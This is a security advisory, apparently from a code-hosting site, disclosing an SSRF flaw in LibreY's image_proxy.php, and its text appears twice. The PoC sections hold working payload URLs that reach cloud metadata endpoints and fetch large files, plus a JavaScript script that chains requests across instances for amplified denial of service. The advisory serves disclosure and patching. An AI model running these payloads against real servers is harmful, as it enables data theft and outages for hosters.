Summary
Server-Side Request Forgery (SSRF) vulnerability in image_proxy.php
in LibreY before commit 8f9b980 allows remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks via the url
parameter.
Details
In image_proxy.php
, the requested root domain is checked to be in an array of allowed domains:
|
$url = $_REQUEST["url"]; |
|
$requested_root_domain = get_root_domain($url); |
|
|
|
$allowed_domains = array("qwant.com", "wikimedia.org", get_root_domain($config->invidious_instance_for_video_results)); |
|
|
|
if (in_array($requested_root_domain, $allowed_domains)) |
|
{ |
|
$image = $url; |
|
$image_src = request($image); |
|
|
|
header("Content-Type: image/png"); |
|
echo $image_src; |
|
} |
But in misc/tools.php
, the get_root_domain
function malfunctioned:
|
function get_root_domain($url) { |
|
$split_url = explode("/", $url); |
|
$base_url = $split_url[2]; |
|
|
|
$base_url_main_split = explode(".", strrev($base_url)); |
|
$root_domain = strrev($base_url_main_split[1]) . "." . strrev($base_url_main_split[0]); |
|
|
|
return $root_domain; |
|
} |
It uses the part after two slashes as the domain, but that is not always the case. The scheme could be omitted and HTTP will be used. https:/
can also be used instead of https://
. So a URL like 127.0.0.1:8000//qwant.com/../../path
or https:/example.com/qwant.com/../
passes the check, and thus the request can target arbitrary URLs at the attacker's will.
The attacker can get the full response body of the GET request so confidential information could be disclosed.
The attacker can also conduct DoS attacks by requesting the server to download large files. If the server is behind a CDN, the original IP address can be disclosed via SSRF, so the DDoS protection provided by the CDN could be bypassed. It can be self-chained or chained among multiple server instances to amplify the DoS effect.
PoC
Retrieve sensitive information
Request /image_proxy.php?url=example.com//qwant.com/../../
and see the response.
Or visit /image_proxy.php?url=https:/samplelib.com/qwant.com/../lib/preview/png/sample-clouds2-400x300.png
in a browser, which is a PNG image that matches the content type header.
If the instance is hosted on a cloud provider that supports 169.254.169.254, request /image_proxy.php?url=169.254.169.254//qwant.com/../../latest/
or /image_proxy.php?url=169.254.169.254//qwant.com/../../opc/v1/instance/
and see the response.
Denial-of-service (DoS)
Request /image_proxy.php?url=https:/speed.hetzner.de/qwant.com/../10GB.bin
or /image_proxy.php?url=speedtest.ftp.otenet.gr//qwant.com/../../files/test10Mb.db
multiple times, and then send normal requests to see long response time or errors.
Chained DoS
JavaScript exploitation code:
const INSTANCES = [
'https://librex.a.com/',
'https://librex.b.com/',
'https://librex.c.com/',
];
const FINAL_TARGET = 'http://speedtest.ftp.otenet.gr/files/test10Mb.db';
const NUMBER_OF_ROUNDS = 25;
const NUMBER_OF_REQUESTS = 1;
function manipulatedUrlParam(url) {
const u = new URL(url);
return `${u.protocol}/${u.host}/qwant.com/../${u.pathname}${u.search}`;
}
function imageProxyUrl(instance, target) {
const u = new URL("image_proxy.php", instance);
u.search = new URLSearchParams({ url: manipulatedUrlParam(target) });
// u.search = `?url=${manipulatedUrlParam(target)}`;
return u.toString();
}
let chainedUrl = FINAL_TARGET;
for (let i = 0; i < NUMBER_OF_ROUNDS; i += 1) {
chainedUrl = imageProxyUrl(INSTANCES[i % INSTANCES.length], chainedUrl);
}
console.log(chainedUrl);
for (let i = 0; i < NUMBER_OF_REQUESTS; i += 1) {
console.time(`fetch ${i}`);
fetch(chainedUrl).then((res) => {
console.timeEnd(`fetch ${i}`);
console.log(`${res.status}: ${res.statusText}`);
console.log(`Content-Type: ${res.headers.get('Content-Type')}`);
// res.text().then((t) => console.log(`Body Length: ${t.length}`));
});
}
A chained URL with 4 rounds between two instances looks like this: https://librex.b.com/image_proxy.php?url=https%3A%2Flibrex.a.com%2Fqwant.com%2F..%2Fimage_proxy.php%3Furl%3Dhttps%253A%252Flibrex.b.com%252Fqwant.com%252F..%252Fimage_proxy.php%253Furl%253Dhttps%25253A%25252Flibrex.a.com%25252Fqwant.com%25252F..%25252Fimage_proxy.php%25253Furl%25253Dhttp%2525253A%2525252Fspeedtest.ftp.otenet.gr%2525252Fqwant.com%2525252F..%2525252Ffiles%2525252Ftest10Mb.db
The number of rounds is limited by the maximum URI length. If the params are not URL-encoded, more rounds (up to ~130, depending on the length of the instance domain) would be possible but the exploitation code would be less robust. And when the DoS is successful, the chain will break in the middle so more rounds would not be useful for the attack.
In an experiment, this caused DoS for two of three chained instances for ~10 seconds in a single request. The actual effect depends on the server, but for stronger servers, it's still easy to DoS with slightly more frequent requests. Anyhow, the amplification by chaining is significant.
Impact
Remote attackers can use the server as a proxy to send HTTP GET requests and retrieve information in the internal network. For example, the attacker may get AWS metadata at 169.254.169.254, or access services that are only locally available. However, only HTTP GET requests can be sent by the attacker, and redirects are not performed by the server.
Remote attackers can get the IP address of the server even if it is behind a CDN.
Remote attackers can also request the server to download large files or chain requests among multiple instances to reduce the performance of the server or even deny access from legitimate users.
Patches
This has been fixed in #31.
LibreY hosters are advised to use the latest commit, and LibreX hosters are advised to migrate to LibreY.
Summary
Server-Side Request Forgery (SSRF) vulnerability in
image_proxy.php
in LibreY before commit 8f9b980 allows remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks via theurl
parameter.Details
In
image_proxy.php
, the requested root domain is checked to be in an array of allowed domains:LibreY/image_proxy.php
Lines 6 to 18 in 3ae47a1
But in
misc/tools.php
, theget_root_domain
function malfunctioned:LibreY/misc/tools.php
Lines 8 to 16 in 3ae47a1
It uses the part after two slashes as the domain, but that is not always the case. The scheme could be omitted and HTTP will be used.
https:/
can also be used instead ofhttps://
. So a URL like127.0.0.1:8000//qwant.com/../../path
orhttps:/example.com/qwant.com/../
passes the check, and thus the request can target arbitrary URLs at the attacker's will.The attacker can get the full response body of the GET request so confidential information could be disclosed.
The attacker can also conduct DoS attacks by requesting the server to download large files. If the server is behind a CDN, the original IP address can be disclosed via SSRF, so the DDoS protection provided by the CDN could be bypassed. It can be self-chained or chained among multiple server instances to amplify the DoS effect.
PoC
Retrieve sensitive information
Request
/image_proxy.php?url=example.com//qwant.com/../../
and see the response.Or visit
/image_proxy.php?url=https:/samplelib.com/qwant.com/../lib/preview/png/sample-clouds2-400x300.png
in a browser, which is a PNG image that matches the content type header.If the instance is hosted on a cloud provider that supports 169.254.169.254, request
/image_proxy.php?url=169.254.169.254//qwant.com/../../latest/
or/image_proxy.php?url=169.254.169.254//qwant.com/../../opc/v1/instance/
and see the response.Denial-of-service (DoS)
Request
/image_proxy.php?url=https:/speed.hetzner.de/qwant.com/../10GB.bin
or/image_proxy.php?url=speedtest.ftp.otenet.gr//qwant.com/../../files/test10Mb.db
multiple times, and then send normal requests to see long response time or errors.Chained DoS
JavaScript exploitation code:
A chained URL with 4 rounds between two instances looks like this:
https://librex.b.com/image_proxy.php?url=https%3A%2Flibrex.a.com%2Fqwant.com%2F..%2Fimage_proxy.php%3Furl%3Dhttps%253A%252Flibrex.b.com%252Fqwant.com%252F..%252Fimage_proxy.php%253Furl%253Dhttps%25253A%25252Flibrex.a.com%25252Fqwant.com%25252F..%25252Fimage_proxy.php%25253Furl%25253Dhttp%2525253A%2525252Fspeedtest.ftp.otenet.gr%2525252Fqwant.com%2525252F..%2525252Ffiles%2525252Ftest10Mb.db
The number of rounds is limited by the maximum URI length. If the params are not URL-encoded, more rounds (up to ~130, depending on the length of the instance domain) would be possible but the exploitation code would be less robust. And when the DoS is successful, the chain will break in the middle so more rounds would not be useful for the attack.
In an experiment, this caused DoS for two of three chained instances for ~10 seconds in a single request. The actual effect depends on the server, but for stronger servers, it's still easy to DoS with slightly more frequent requests. Anyhow, the amplification by chaining is significant.
Impact
Remote attackers can use the server as a proxy to send HTTP GET requests and retrieve information in the internal network. For example, the attacker may get AWS metadata at 169.254.169.254, or access services that are only locally available. However, only HTTP GET requests can be sent by the attacker, and redirects are not performed by the server.
Remote attackers can get the IP address of the server even if it is behind a CDN.
Remote attackers can also request the server to download large files or chain requests among multiple instances to reduce the performance of the server or even deny access from legitimate users.
Patches
This has been fixed in #31.
LibreY hosters are advised to use the latest commit, and LibreX hosters are advised to migrate to LibreY.